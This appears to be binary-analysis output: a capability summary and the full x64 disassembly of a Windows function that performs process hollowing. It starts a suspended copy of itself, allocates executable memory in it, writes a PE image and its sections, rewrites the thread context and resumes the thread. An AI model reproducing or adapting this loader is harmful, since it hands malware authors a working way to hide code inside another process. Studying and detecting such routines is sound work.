Function at 0x7ff661723750
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbx
push rbp
sub rsp, 0x4f8
xorps xmm1, xmm1
mov qword [r11 + 8], rsi
xor eax, eax
mov qword [r11 + 0x10], rdi
cmp qword [rcx + 0x18], 0x10
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm1
mov rbx, rcx
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
mov qword [r11 - 0x438], rax
movups xmmword [rsp + 0x50], xmm0
jb 0x7ff6617237bc
mov rax, qword [rcx]
mov rsi, rax
jmp 0x7ff6617237c2
mov rax, rbx
mov rsi, rbx
movsxd rdi, dword [rsi + 0x3c]
xor ebp, ebp
add rdi, rax
cmp dword [rdi], 0x4550
jne 0x7ff6617239bc
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebp
call qword [sym.imp.kernel32.dll_CreateProcessA]
test eax, eax
je 0x7ff6617239bc
lea edx, [rbp + 8]
mov qword [rsp + 0x4e8], r14
xor ecx, ecx
lea r9d, [rbp + 4]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov rdx, rax
mov r14, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x7ff6617239b4
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x520], r12
mov qword [rsp + 0x4f0], r13
mov qword [rsp + 0x4e0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
cmp qword [rbx + 0x18], 0x10
mov r8, rbx
mov r9d, dword [rdi + 0x54]
mov r15, rax
jb 0x7ff6617238bf
mov r8, qword [rbx]
mov rcx, qword [rsp + 0x50]
mov rdx, r15
mov qword [rsp + 0x20], rbp
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov r12, rbp
cmp bp, word [rdi + 6]
jae 0x7ff661723969
nop
movsxd rax, dword [rsi + 0x3c]
add rax, rbp
cmp qword [rbx + 0x18], 0x10
jb 0x7ff6617238f6
add rax, qword [rbx]
mov rcx, qword [rbx]
jmp 0x7ff6617238fc
add rax, rbx
mov rcx, rbx
mov r8d, dword [rax + 0x11c]
mov edx, dword [rax + 0x114]
add r8, rcx
mov rcx, qword [rsp + 0x50]
add rdx, r15
mov r9d, dword [rax + 0x118]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov rdx, qword [r14 + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r12
add rbp, 0x28
cmp r12, rax
jb 0x7ff6617238e0
xor ebp, ebp
mov eax, dword [rdi + 0x28]
mov rdx, r14
add rax, r15
mov qword [r14 + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.kernel32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4e0]
mov r13, qword [rsp + 0x4f0]
mov r12, qword [rsp + 0x520]
mov r14, qword [rsp + 0x4e8]
mov rdx, qword [rbx + 0x18]
mov rdi, qword [rsp + 0x518]
mov rsi, qword [rsp + 0x510]
cmp rdx, 0x10
jb 0x7ff661723a02
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff6617239fd
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff661723a1b
mov rcx, r8
call fcn.7ff66172faa4
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rsp, 0x4f8
pop rbp
pop rbx
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3